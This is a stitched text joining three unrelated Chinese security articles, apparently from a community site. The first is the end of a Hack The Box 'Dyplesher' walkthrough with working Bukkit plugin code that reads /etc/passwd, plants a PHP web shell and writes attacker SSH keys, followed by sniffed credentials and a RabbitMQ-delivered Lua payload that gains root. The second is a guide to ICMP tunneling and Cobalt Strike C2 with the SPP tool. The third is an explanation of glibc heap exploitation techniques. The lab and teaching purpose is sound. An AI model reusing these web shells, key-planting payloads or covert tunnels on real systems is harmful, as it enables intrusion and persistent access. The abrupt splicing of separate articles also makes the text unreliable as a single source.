然后在左侧的文件夹`mineplug -> src -> main -> java`，右键新建一个包`java -> New ->
Package`，包名是你的GroupId +
plugin名，我这里就是`htb.dyplesher.mineplug`。然后在该package下新建一个Class，`New -> Class`
。在编写插件时需要先引入必要的包，`import
org.bukkit.plugin.java.JavaPlugin`，先利用两个方法`onEnable()`和`onDisable()`进行测试：
package htb.dyplesher.mineplug;
import org.bukkit.plugin.java.JavaPlugin;
public class mineplug extends JavaPlugin {
@Override
public void onEnable() {
getLogger().info("onEnable is called!");
}
@Override
public void onDisable() {
getLogger().info("onDisable is called!");
}
}
#### Step 4
然后需要将其打包成jar包，首先右键`src -> main -> resources`，新建`plugin.yml`文件，填入plugin的相关信息：
name: mineplug
version: 1.0
main: htb.dyplesher.mineplug.mineplug
项目的目录结构：
在IDEA的最右侧隐藏栏上，选择`Maven Projects -> mineplug -> Lifecycle`，右键`package -> Run
Maven Build`，生成的jar包在target文件夹下。
### 上传插件
然后将其通过`/home/add`上传到服务器上：
通过`/home/reload`，输入插件名mineplug来激活：
在Console处可以看到被激活的插件：
选择unload可以卸载相应的插件：
### 任意文件读取
既然上传的jar包可以被运行，就意味着可以利用它来执行一些系统命令或是读取一些敏感文件：
package htb.dyplesher.mineplug;
import org.bukkit.plugin.java.JavaPlugin;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
public class mineplug extends JavaPlugin {
@Override
public void onEnable() {
getLogger().info("onEnable is called!");
try {
String Line;
BufferedReader br = new BufferedReader(new FileReader("/etc/passwd"));
while ((Line = br.readLine()) != null) {
getLogger().info(Line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void onDisable() {
getLogger().info("onDisable is called!");
}
}
在Console里就打印出了服务器上/etc/passwd文件的内容：
## 上传shell
写入shell：
package htb.dyplesher.shellplug;
import org.bukkit.plugin.java.JavaPlugin;
import java.io.FileWriter;
public class shellplug extends JavaPlugin {
@Override
public void onEnable() {
getLogger().info("onEnable is called!");
try {
FileWriter fw = new FileWriter("/var/www/test/cmd.php");
fw.write("<?php echo shell_exec($_GET[0]); ?>");
fw.close();
} catch (Exception e) {
getLogger().info(e.toString());
}
}
@Override
public void onDisable() {
getLogger().info("onDisable is called!");
}
}
访问 <http://test.dyplesher.htb/cmd.php?0=id> :
当前的用户为MinatoTW，看看`/home/MinatoTW`下有什么，cmd.php?0=ls%20-al%20/home/MinatoTW ：
发现`.ssh`目录，在目录下有`authorized_keys`，那只要上传我们自己的公钥就可以免密登录了：
我本机的`.ssh`目录下没有ssh密钥，所以先执行ssh-keygen创建密钥对：
ssh-keygen -t rsa -b 4096
创建后目录下会多出两个文件`id_rsa`和`id_rsa.pub`，前者是私钥，后者是公钥：
我们需要将公钥写入到目标主机的`authorized_keys`文件中，就能实现免密登录：
package htb.dyplesher.sshplugin;
import java.io.BufferedReader;
import java.io.FileWriter;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;
public class sshplugin extends JavaPlugin {
@Override
public void onEnable() {
getLogger().info("onEnable is called!");
try {
FileWriter fw = new FileWriter("/home/MinatoTW/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu/ObL6IdSkC6UU2xkZR3frEofJxER7tnjG59fa2Zk98m1Ib/[......]/e01IYwqeAFXhW4wvezG/Icbf2iuTOHggEdnHsBDBL/upYw== kali@kali");
fw.close();
getLogger().info("Successfully wrote to the file");
} catch (Exception e) {
getLogger().info(e.toString());
}
}
@Override
public void onDisable() {
getLogger().info("onDisable is called!");
}
}
上传插件并加载后，登录成功：
登录后，在`/home/MinatoT`目录下有三个文件夹：
MinatoTW@dyplesher:~$ ls
backup Cuberite paper
MinatoTW@dyplesher:~$ ls -alt
total 64
drwx------ 2 MinatoTW MinatoTW 4096 May 20 13:45 .ssh
drwxr-xr-x 10 MinatoTW MinatoTW 4096 May 20 13:41 .
drwx------ 2 MinatoTW MinatoTW 4096 Apr 23 2020 .cache
drwx------ 3 MinatoTW MinatoTW 4096 Apr 23 2020 .gnupg
-rw------- 1 MinatoTW MinatoTW 802 Apr 23 2020 .viminfo
drwxrwxr-x 11 MinatoTW MinatoTW 4096 Apr 23 2020 Cuberite
lrwxrwxrwx 1 root root 9 Apr 23 2020 .bash_history -> /dev/null
drwxr-xr-x 6 root root 4096 Apr 23 2020 ..
drwxr-xr-x 2 root root 4096 Apr 23 2020 backup
drwxrwxr-x 3 MinatoTW MinatoTW 4096 Apr 23 2020 .composer
drwxrwxr-x 6 MinatoTW MinatoTW 4096 Apr 23 2020 paper
-rw-rw-r-- 1 MinatoTW MinatoTW 54 Apr 23 2020 .gitconfig
drwxrwxr-x 3 MinatoTW MinatoTW 4096 Apr 23 2020 .local
-rw-rw-r-- 1 MinatoTW MinatoTW 66 Apr 23 2020 .selected_editor
-rw-r--r-- 1 MinatoTW MinatoTW 220 Apr 23 2020 .bash_logout
-rw-r--r-- 1 MinatoTW MinatoTW 3771 Apr 23 2020 .bashrc
-rw-r--r-- 1 MinatoTW MinatoTW 807 Apr 23 2020 .profile
backup文件夹下主要就是保存了三个用户的账号密码信息等：
MinatoTW@dyplesher:~$ cd backup/
MinatoTW@dyplesher:~/backup$ ls -alt
total 24
drwxr-xr-x 10 MinatoTW MinatoTW 4096 May 20 13:41 ..
drwxr-xr-x 2 root root 4096 Apr 23 2020 .
-rwxr-xr-x 1 root root 66 Apr 23 2020 email
-rwxr-xr-x 1 root root 24 Apr 23 2020 username
-rwxr-xr-x 1 root root 170 Apr 23 2020 backup.sh
-rwxr-xr-x 1 root root 182 Sep 15 2019 password
MinatoTW@dyplesher:~/backup$ cat email
[email protected]
[email protected]
[email protected]
MinatoTW@dyplesher:~/backup$ cat username
MinatoTW
felamos
yuntao
MinatoTW@dyplesher:~/backup$ cat password
$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS
MinatoTW@dyplesher:~/backup$ cat backup.sh
#!/bin/bash
memcflush --servers 127.0.0.1 --username felamos --password zxcvbnm
memccp --servers 127.0.0.1 --username felamos --password zxcvbnm /home/MinatoTW/backup/*
`paper/`文件夹下的内容就是之前在repo.zip包中的部分文件：
MinatoTW@dyplesher:~/paper$ ls -al
total 39392
drwxrwxr-x 6 MinatoTW MinatoTW 4096 Apr 23 2020 .
drwxr-xr-x 10 MinatoTW MinatoTW 4096 May 20 13:41 ..
-rw-rw-r-- 1 MinatoTW MinatoTW 2 Nov 7 14:25 banned-ips.json
-rw-rw-r-- 1 MinatoTW MinatoTW 2 Nov 7 14:25 banned-players.json
-rw-rw-r-- 1 MinatoTW MinatoTW 1049 Nov 7 14:25 bukkit.yml
drwxrwxr-x 2 MinatoTW MinatoTW 4096 Sep 8 2019 cache
-rw-rw-r-- 1 MinatoTW MinatoTW 593 Nov 7 14:25 commands.yml
-rw-rw-r-- 1 MinatoTW MinatoTW 221 Sep 8 2019 eula.txt
-rw-rw-r-- 1 MinatoTW MinatoTW 2576 Sep 8 2019 help.yml
drwxrwxr-x 2 MinatoTW MinatoTW 4096 Nov 7 14:25 logs
-rw-rw-r-- 1 MinatoTW MinatoTW 2 Nov 7 14:25 ops.json
-rw-rw-r-- 1 MinatoTW MinatoTW 40248740 Sep 8 2019 paper.jar
-rw-rw-r-- 1 MinatoTW MinatoTW 5417 Nov 7 14:25 paper.yml
-rw-rw-r-- 1 MinatoTW MinatoTW 0 Sep 8 2019 permissions.yml
drwxrwxr-x 4 MinatoTW MinatoTW 4096 Nov 7 16:20 plugins
-rw-rw-r-- 1 MinatoTW MinatoTW 723 Nov 7 14:25 server.properties
-rw-rw-r-- 1 MinatoTW MinatoTW 3311 Nov 7 14:25 spigot.yml
-rwxrwxr-x 1 MinatoTW MinatoTW 48 Sep 8 2019 start.sh
-rw-rw-r-- 1 MinatoTW MinatoTW 2 Nov 7 14:25 usercache.json
-rw-rw-r-- 1 MinatoTW MinatoTW 48 Sep 8 2019 version_history.json
-rw-rw-r-- 1 MinatoTW MinatoTW 2 Sep 8 2019 whitelist.json
drwxrwxr-x 5 MinatoTW MinatoTW 4096 Nov 7 17:11 world
Cuberite是Minecraft的一个服务器实现，而`Cuberite/`目录下就是相关文件：
MinatoTW@dyplesher:~/Cuberite$ ls
BACKERS buildinfo Cuberite helgrind.log itemblacklist LICENSE MojangAPI.sqlite motd.txt Ranks.sqlite start.sh webadmin world
banlist.sqlite CONTRIBUTORS favicon.png hg items.ini Licenses MojangAPI.sqlite-journal Plugins README.txt vg webadmin.ini world_nether
brewing.txt crafting.txt furnace.txt hg.supp lang logs monsters.ini Prefabs settings.ini vg.supp whitelist.sqlite world_the_end
到目前为止并没有在这三个文件夹下发现什么可用的信息……
但是当前的用户的属组之一是`wireshark`：
MinatoTW@dyplesher:~$ id
uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark)
寻找属组为wireshark的文件，发现只有一个文件`/usr/bin/dumpcap`，是一个抓包软件：
MinatoTW@dyplesher:/$ find / -group wireshark -ls 2>/dev/null
5908757 112 -rwxr-xr-- 1 root wireshark 113112 Sep 26 2019 /usr/bin/dumpcap
该文件也没有什么suid标志，所以也很难通过它来提权。
### dumpcap
但是我们可以执行dumpcap命令，抓个包试试，保存为`/tmp/out.pcapng`：
MinatoTW@dyplesher:~$ dumpcap -w /tmp/out.pcapng
Capturing on 'veth5f13bbe'
File: /tmp/out.pcapng
Packets: 1800
用wireshark打开`out.pcagpng`：
发现了很多条与AMQP协议相关的流量，右键`Follow TCP Stream`：
发现了用户`MinatoTW`、`felamos`和`Yuntao`的账号密码：
name : MinatoTW
email : [email protected]
password : bihys1amFov
name : yuntao
email : [email protected]
password : wagthAw4ob
name : felamos
email : [email protected]
password : tieb0graQueg
登录用户felamos（在yuntao的/home目录下没有发现什么有意思的东西）：
╭─kali@kali ~
╰─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 07 Nov 2020 05:37:23 PM UTC
System load: 0.05 Processes: 259
Usage of /: 6.7% of 97.93GB Users logged in: 1
Memory usage: 41% IP address for ens33: 10.10.10.190
Swap usage: 0% IP address for docker0: 172.17.0.1
57 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Thu Apr 23 17:33:41 2020 from 192.168.0.103
felamos@dyplesher:~$ id
uid=1000(felamos) gid=1000(felamos) groups=1000(felamos)
在home目录下发现user.txt，拿到user flag：
felamos@dyplesher:~$ ls
cache snap user.txt yuntao
felamos@dyplesher:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxx
### 提权
在`/home/felamos`下存在名为`yuntao`的目录，目录下只有一个脚本`send.sh`：
felamos@dyplesher:~$ cd yuntao/
felamos@dyplesher:~/yuntao$ ls
send.sh
felamos@dyplesher:~/yuntao$ cat send.sh
#!/bin/bash
echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' > /dev/pts/{}
这个脚本没有什么特别的意思，只是会向`/dev/pts/`目录下的`{}`管道输出一条消息：
> Yuntao， 请发布所有用户的cuberite插件，只需要提供url去下载plugin即可，我们的代码会自动访问该插件并且将插件放在服务器上执行。
#### AMQP协议
AMQP协议全称Advanced Message Queuing
Protocol（高级消息队列协议），是面向消息中间件提供的开放的应用层协议，其设计目标是对消息的排序、路由、保证可靠性和安全性（[wikipedia](https://zh.wikipedia.org/zh-hans/%E9%AB%98%E7%BA%A7%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97%E5%8D%8F%E8%AE%AE)）。我们可以把消息队列比作是一个存放消息的容器，当我们需要使用消息的时候可以取出消息供自己使用，目的是通过异步处理提高系统性能、降低系统耦合性，目前使用比较多的消息队列有ActiveMQ，RabbitMQ（[zhihu](https://zhuanlan.zhihu.com/p/52773169)），后者就是目标服务器上使用的消息队列。
#### RabbitMQ
RabbitMQ是一个实现了AMQP协议的消息队列。RabbitMQ的工作原理如下图所示：
* Producer：发送消息到MQ。
* Broker：消息队列服务进程，包括exchange和queue。
* Exchange：消息队列交换机，会按照一定的规则对消息进行过滤，并将消息转发到某个队列。
* Queue：消息队列，在消息到达队列的时候会被转发给指定的Consumer。
* Consumer：接收MQ转发的消息。
当存在多个Queue的时候，消息会被Exchange按照一定的路由规则分发到指定的Queue中去。这就涉及到Producer指定的消息的routing
key，routing key指定了Message会被发送到哪个Exchange，Queue会通过binding
key绑定到指定的Exchange。Exchange通过对比Message的routing key和Queue的binding
key来决定消息会被发送到哪个队列。
前面提到的`send.sh`就是指Yuntao可以发布用户自己定制的cuberite插件，如下图所示：
Cubrite是一个可扩展的Minecraft服务器实现，它有一个易于使用的插件系统，允许用户用Lua编写自定义插件。
从之前抓到的流量包里我们也知道了Yuntao的AMQP凭证是`EashAnicOc3Op`：
我们可以借用一款工具来发布我们的Lua插件，[amqp-publish](https://github.com/selency/amqp-publish)：
╭─kali@kali ~/htb-tools
╰─$ ./amqp-publish.linux-amd64 --help
Usage of ./amqp-publish.linux-amd64:
-body string
Message body
-exchange string
Exchange name
-routing-key string
Routing key. Use queue
name with blank exchange to publish directly to queue.
-uri string
AMQP URI amqp://<user>:<password>@<host>:<port>/[vhost]
在此之前，先看看是否可以通过这种方式在目标服务器上执行命令。先尝试创建一个lua脚本，它会向/tmp目录写入名为test的文件：
// test.lua
os.execute("touch /tmp/test")
先在目标主机上开启fpt服务，主要目的是判断我们有没有成功发布消息：
MinatoTW@dyplesher:~/paper$ python3 -m http.server 22222
Serving HTTP on 0.0.0.0 port 22222 (http://0.0.0.0:22222/) ...
除了已经知道的`<user>:<password>`以外，我们还需要提供`exchange`和`routing-key`，从`send.sh`中可以推测出它们应该是`plugin_data`：
Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue".
通过amqp-publish发布：
╭─kali@kali ~/htb-tools
╰─$ ./amqp-publish.linux-amd64 --uri="amqp://yuntao:[email protected]:5672/" --exchange="" --routing-key="plugin_data" --body="http://127.0.0.1:22222/test.lua"
消息被成功发布：
MinatoTW@dyplesher:~/paper$ python3 -m http.server 22222
Serving HTTP on 0.0.0.0 port 22222 (http://0.0.0.0:22222/) ...
127.0.0.1 - - [07/Nov/2020 18:38:50] "GET /test.lua HTTP/1.0" 200 -
`test.lua`被成功执行，在`/tmp`目录下，`test`文件被创建：
并且该文件是属于root用户的。
#### ssh.lua -> RCE
现在我们可以向`/root/.ssh/authorized_keys`写入我们的公钥：
// ssh.lua
file = io.open('/root/.ssh/authorized_keys', 'w+')
ssh = 'ssh-rsa AAAAB......BL/upYw== kali@kali'
file.write(ssh)
file.close()
通过同样的方式发布：
╭─kali@kali ~/htb-tools
╰─$ ./amqp-publish.linux-amd64 --uri="amqp://yuntao:[email protected]:5672/" --exchange="" --routing-key="plugin_data" --body="http://127.0.0.1:22222/ssh.lua"
成功登录root用户：
╭─kali@kali ~/.ssh
╰─$ ls
id_rsa id_rsa.pub known_hosts
╭─kali@kali ~/.ssh
╰─$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 07 Nov 2020 06:44:33 PM UTC
System load: 0.06 Processes: 261
Usage of /: 6.7% of 97.93GB Users logged in: 1
Memory usage: 42% IP address for ens33: 10.10.10.190
Swap usage: 0% IP address for docker0: 172.17.0.1
57 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Sun May 24 03:33:34 2020
root@dyplesher:~# id
uid=0(root) gid=0(root) groups=0(root)
root@dyplesher:~#
读取root.txt：
root@dyplesher:~# ls
root.txt snap work | 社区文章 |
## 前言
平常演练常用的一些隧道工具像frp，nps在目标出网的情况下还是比较好用的。但是一旦遇到一些比较恶劣的环境，比如只有icmp可以出网的情况，那就需要使用其他的工具像pingtunnel，ptunnel等。
看到SPP这款工具介绍的时候三个特点引起了我的注意：
1. 支持icmp、kcp、quic
2. 支持双向的代理
3. 可以自由进行内部外协议的组合
通过一个工具基本可以满足演练过程中打隧道的要求（可惜不支持dns协议）
这篇文章主要是自己研究该工具如何使用的过程
## 工具简介
* 支持的协议：tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
* 支持的类型：正向代理、反向代理、socks5正向代理、socks5反向代理
* 协议和类型可以自由组合
* 外部代理协议和内部转发协议可以自由组合
## 命令解释
-compress int
start compress size, 0 means off (default 128)
-encrypt string
encrypt key, empty means off (default "default")
-fromaddr value
from addr
-key string
verify key (default "123456")
-listen value
server listen addr
-loglevel string
log level (default "info")
-maxclient int
max client connection (default 8)
-maxconn int
max connection (default 128)
-name string
client name (default "client")
-nolog int
write log file
-noprint int
print stdout
-password string
socks5 password
-ping
show ping
-profile int
open profile
-proto value
main proto type: [tcp rudp ricmp kcp quic rhttp]
-proxyproto value
proxy proto type: [tcp rudp ricmp kcp quic rhttp udp]
-server string
server addr
-toaddr value
to addr
-type string
type:
server/proxy_client/reverse_proxy_client/socks5_client/reverse_socks5_client
-username string
socks5 username
## Server基本用法
在vps的8888端口开启tcp流量监听
spp -type server -proto tcp -listen :8888
通过修改-proto参数可以自主选择监听流量协议类型
这里需要注意，ricmp协议无需设置端口
spp -type server -proto ricmp -listen 0.0.0.0
可以使用一条命令在不同端口监听不同协议
spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0
## Client基本用法
实验都以tcp协议进行，Server端监听8888端口。实战中只需要修改proxyproto参数就可以转换协议
### 正向代理端口
将vps的8999端口代理至本机8080
spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp
访问本地8080端口相当于访问vps8999端口
### 反向代理端口
将本机器80端口代理至vps的8998端口
spp -name "test" -type reverse_proxy_client -server vps:8888 -fromaddr :8998 -toaddr :80 -proxyproto tcp
访问vps的8998相当于访问本机80
### 正向socks5代理
代理至server网络环境下
spp -name "test" -type socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp
挂代理 socks5:127.0.0.1:8080
查询当前ip为vps，已进入vps网络环境
### 反向socks5代理
代理至client网络环境下
spp -name "test" -type reverse_socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp
挂代理 socks5:vps:8080
查询当前ip为client，已进入client网络环境
### 内外部协议封装
该功能支持各种协议的嵌套使用，可使用于各种内网极端环境。只需要使用proto参数指定外部转发协议即可。
这里举例，使用udp协议做转发，内部封装tcp
Server监听udp
spp -type server -proto rudp -listen :8888
Client外部使用udp连接，内部封装tcp进行正向代理转发端口
spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp -proto rudp
正常访问
查看数据包
## 实战场景应用
在对抗项目中有遇到过一些极端环境，比如目标封了tcp，http等常用出网的协议，但是icmp，dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。
### ICMP+反向socks代理
* Server
spp -type server -proto ricmp -listen 0.0.0.0
* Client
./spp -name "test" -type reverse_socks5_client -server vps -fromaddr :8080 -proxyproto tcp -proto ricmp
挂代理socks5:vps:8080
查看当前ip为client出口地址，已进入client网络环境
### ICMP+cobaltstrike
* Server
反向代理用于进入目标内网，正向代理可配合远控工具进行上线。
spp -type server -proto ricmp -listen 0.0.0.0
* Client
spp -name "test" -type proxy_client -server vps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
配置一个http beacon，下面填c2的地址，监听8081端口
再起一个本地监听的http beacon，监听本地8082
使用icmp成功上线 | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/CjIsHpPPhVqI69oZT4xEqg>**
这是linux pwn系列的第二篇文章，[前面一篇文章](http://paper.seebug.org/1108/
"前面一篇文章")我们已经介绍了栈的基本结构和栈溢出的利用方式，堆漏洞的成因和利用方法与栈比起来更加复杂，为此，我们这篇文章以shellphish的how2heap为例，主要介绍linux堆的相关数据结构和堆漏洞的利用方式，供大家参考。
### 0.前置知识
#### 0.0 编译+patch方法
how2heap源码地址<https://github.com/shellphish/how2heap>，为了方便调试编译时使用gcc -g -fno-pie xx.c –o xx。这里先介绍一种linux下patch文件加载指定版本libc的方法，patchelf --set-interpreter
设置elf启动时使用指定ld.so（elf文件在启动时ld.so查找并加载程序所需的动态链接对象，加载完毕后启动程序，不同libc版本需要不同的加载器，不同版本libc和加载器下载地址<https://github.com/5N1p3R0010/libc-ld.so>，然后patchelf --set-rpath :/ 设置elf启动时加载指定libc。编译+patch示例
#### 0.1 linux堆管理简图及源码地址
Linux ptmalloc堆内存管理未加tcache机制的一张简图如下，linux
malloc.c源码地址<https://code.woboq.org/userspace/glibc/malloc/malloc.c.html>
#### 0.2 linux堆的数据结构
##### 0.2.1堆块数据结构
首先介绍下linux下堆的基本数据结构。
各字段含义如下：
0.mchunk_prev_size。当当前堆物理相邻的前一个堆为空闲状态时mchunk_prev_size记录前一个空闲堆的大小，当当前堆物理相邻的前一个堆为占用状态时mchunk_prev_size可用于存储前一个堆的数据。
1.mchunk_size，记录当前堆包含堆头的大小，堆的大小在申请时会进行对齐，对齐后堆的大小为2*size_t的整数倍，size_t为机器字长。mchunk_size的低三比特位对堆的大小没有影响，ptmalloc用它来记录当前堆的状态，三个比特位从高到低依次：
* NON_MAIN_ARENA，记录当前堆是否不属于主线程，1 表示不属于，0 表示属于。
* IS_MAPPED，记录当前堆是否是由 mmap 分配的。
* PREV_INUSE，记录前一个堆是否被分配。
2.fd、bk，堆处于分配状态时，堆结构体偏移fd的位置存储数据；堆处于空闲状态时，fd、bk分别记录物理相邻的前一空闲堆、物理相邻的后一空闲堆，即用于对应空闲链表的管理
3.fd_nextsize、bk_nextsize，large
chunk处于空闲状态时使用，分别用于记录前一个与当前堆大小不同的第一个空闲堆、后一个与当前堆大小不同的第一个空闲堆
##### 0.2.2 空闲链表
理解ptmalloc堆漏洞利用的另一个比较重要的结构体是bin，为了节省内存分配开销，用户释放掉的内存并不会马上返还给系统，而是保存在相应的空闲链表中以便后续分配使用。Ptmalloc使用的空闲链表bin有四种，fastbin、samllbin、largebin、unsortedbin
，一个好的内存分配器应该是内存碎片少、且能在较低算法复杂度和较少内存分配次数的情况下满足用户使用内存（申请和释放）的需求，四种bin的实现就体现了这种思想。
为了减少内存碎片，ptmalloc在释放当前堆cur_chunk时会检测cur_chunk的prev_inuse位（标识物理相邻前一个堆（物理低地址）是否处于空闲状态）和cur_chunk的物理相邻下一个堆是否是top_chunk、物理相邻下一个堆的prev_inuse位。若cur_chunk的prev_inuse位为0则合并后向堆并将后向堆的地址作为新的合并后的堆的起始地址；若cur_chunk的物理相邻下一个堆的prev_inuse位为0则进行前向合并并将cur_chunk的地址作为新的合并后的堆的起始地址。若待释放的cur_chunk的物理相邻下一个堆为top_chunk则将cur_chunk和top_chunk合并，并将cur_chunk的地址作为新的top_chunk起点。
Ptmalloc堆的一些参数
###### 0） fastbin
fastbin是保存一些较小堆（32位系统默认不超过64字节，64位系统默认不超过128字节）的单链表结构。由于fastbin中相同index链接的都是相同大小的堆，ptmalloc认为不同位置的相同大小的堆没有区别，因此fastbin使用lifo的方法实现，即新释放的堆被链接到fastbin的头部，从fastbin中申请堆也是从头部取，这样就省去了一次遍历单链表的过程。fastbin的内存分配策略是exact
fit，即只释放fastbin中跟申请内存大小恰好相等的堆。
###### 1） smallbin
smallbin中包含62个循环双向链表，链表中chunk的大小与index的关系是2 _size_t_
index。由于smallbin是循环双向链表，所以它的实现方法是fifo；smallbin的内存分配策略是exact fit。
从实现中可以看出smallbin链接的chunk中包含一部分fastbin大小的堆，fastbin范围的堆是有可能被链入其他链表的。当用户申请smallbin大小的堆而smallbin又没有初始化或者申请大于smallbin最大大小的堆时，fastbin中的堆根据prev_inuse位进行合并后会进入如上unsortedbin的处理流程，符合smallbin或largebin范围的堆会被链入相应的链表。
###### 2） largebin
largebin包含63个循环双向链表，每个链表链接的都是一定范围大小的堆，链表中堆的大小按从大到小排序，堆结构体中的fd_nextsize和bk_nextsize字段标识链表中相邻largechunk的大小，即fd_nextsize标识比它小的堆块、bk_nextsize标识比它大的堆块。
对于相同大小的堆，释放的堆插入到bin头部，通过fd、bk与其他的堆链接形成循环双向链表。
Largebin的分配策略是best
fit，即最终取出的堆是符合申请内存的最小堆（记为chunk）。若取出的chunk比申请内存大至少minsize，则分割chunk并取合适大小的剩余堆做为last
remainder；若取出的chunk比申请内存不大于minsize，则不分割chunk直接返回做为用户申请内存块。
###### 3） unsortedbin
unsortedbin可以视为空闲chunk回归其所属bin之前的缓冲区，分配策略是exact
fit。可能会被链入unsortedbin的堆块是申请largebin大小堆块切割后的last
remainder；释放不属于fastbin大小且不与topchunk紧邻的堆块时会被先链入unsortedbin；在特定情况下将fastbin内的堆合并后会进入unsortedbin的处理流程（特定情况为申请fastbin范围堆fastbin为空；申请非fastbin范围smallbin的堆但smallbin未初始化；申请largechunk）
### 1.how2heap调试
#### 1.0 First_fit
<https://github.com/shellphish/how2heap/blob/master/first_fit.c>
这个程序阐释了glibc分配内存的一个策略：first fit，即从空闲表中取出的堆是第一个满足申请内存大小的堆（fastbin、smallbin
exact fit，largebin best fit）
Shellphish给出的例子中先申请了0x512和0x256大小的两个堆，然后释放掉0x512大小的堆（申请0x256大小的堆的作用是避免释放不是mmap分配的堆a的时候合并到topchunk），实例中再次申请0x500大小的堆由于largebin的best
fit分配策略glibc会分割堆后返回堆a，即堆c等价于堆a，这时我们输出堆a的内容即输出修改后的堆c的内容。
glibc的first fit分配策略可用于use after
free(uaf,释放后重用)的利用，即修改新分配堆的内容等价于修改被释放的堆，uaf一般是由于释放堆后指针未置零造成的，不过在uaf的利用过程中我们一般使新分配的堆的大小等于被释放的堆的大小。
#### 1.1 fastbin_dup
<https://github.com/shellphish/how2heap/blob/master/fastbin_dup.c>
fastbin下doublefree的一个示例（未加tcache机制）。
Shellphish给出的例子中先申请了3个0x8大小的堆（同样地申请c的原因是避免合并到topchunk），然后释放a（
再次释放a构成doublefree双重释放，但是由于glibc在释放fastbin大小的堆时检查且仅检查fastbin头部的堆和要释放的堆是否相等，若相等则报错），为了绕过glibc在释放堆时对bin头结点的检查，我们free(b)，此时fastbin如下(b=0x602020,a=0x602000；由于fastbin是单链表且LIFO，后释放的b被插入到链表头)
然后我们再次free(a)，由于此时bin头结点指向b，所以对头结点的检查被绕过，free(a)之后
可以看到此时fastbin中有两个a，如果此时我们申请三个0x8大小的堆，则依次从fastbin头部取得到a、b、a三个堆。
#### 1.2 fastbin_dup_into_stack
<https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c>
fastbin下doublefree的利用示例（未开启tcache机制）。主要思路是在doublefree时我们有一次申请一个存在于fastbin链表的堆的机会，然后通过伪造堆的内容可以使得fastbin链入伪造的堆，再次申请内存可以得到伪造地址处的堆。
示例中先申请了3个0x8大小的堆，然后通过free(a)、free(b)、free(a)构成一次doublefree（原理同fastbin_dup），此时fastbin的连接状态是a->b->a。再次申请两个0x8大小的堆，由于fastbin的lifo，此时fastbin中只剩a，且此时堆a存在于fastbin和用户申请的堆中，即我们可以控制一个存在于fastbin的堆的内容。容易想到的一种利用方式是伪造fastbin链表的内容，进而达到在伪造地址处申请堆的效果。
示例中在栈中伪造了一个0x20大小的堆（伪造堆头如下图选中部分，其中a=0x405000，&stack_var=0x00007fffffffdfb0），此时堆a的fd指向&stack_var，即fastbin:a->stack_var，此时第二次申请不超过0x18大小的堆（64位系统，跟申请堆时字节对齐有关，返回的堆的大小会被转化成满足条件的最小2*size_sz的倍数，最大0x10+8，8字节可占用下一个堆的prev_size）即可返回栈地址处的伪造堆。
#### 1.3 fastbin_dup_consolidate
<https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_consolidate.c>
fastbin
attack构成doublefree的一个示例。原理是利用申请一次largebin大小的堆会将fastbin的堆进行合并进入unsortedbin的处理流程，此时再次free
fastbin中的堆会绕过free时对fastbin链表头节点的检查进而构成一次doublefree。
从下图free的流程中我们可以看出free时只会检查释放fastbin大小的堆时被释放的堆是否和fastbin的头结点是否一致，而在申请0x400的largechunk时，fastbin链表非空，fastbin中的堆会进行合并并且进入unsortedbin的处理流程，在unsortedbin的处理流程中符合fastbin大小的堆会被放入smallbin，这样就绕过了free时对fastbin头结点的检查，从而可以构成一次对fastbin大小的堆的doublefree。
#### 1.4 unsafe_unlink
<https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsafe_unlink.c>
堆可以溢出到下一个堆的size域且存在一个指向堆的指针时堆溢出的一种利用方式。
Unsafe
unlink利用的前提是可以溢出到下一个堆的size域，利用的大致思路是在chunk0构造fakechunk且fakechunk可以绕过unlink双向链表断链的检查，修改chunk1的pre_size使之等于fakechunk的大小，修改chunk1中size域的prev
inuse位为0以便free(chunk1)时检查前后向堆是否空闲时（这里是后向堆，即物理低地址）触发unlink双向链表断链构成一次任意地址写。下面看一下unlink的具体细节和原理。
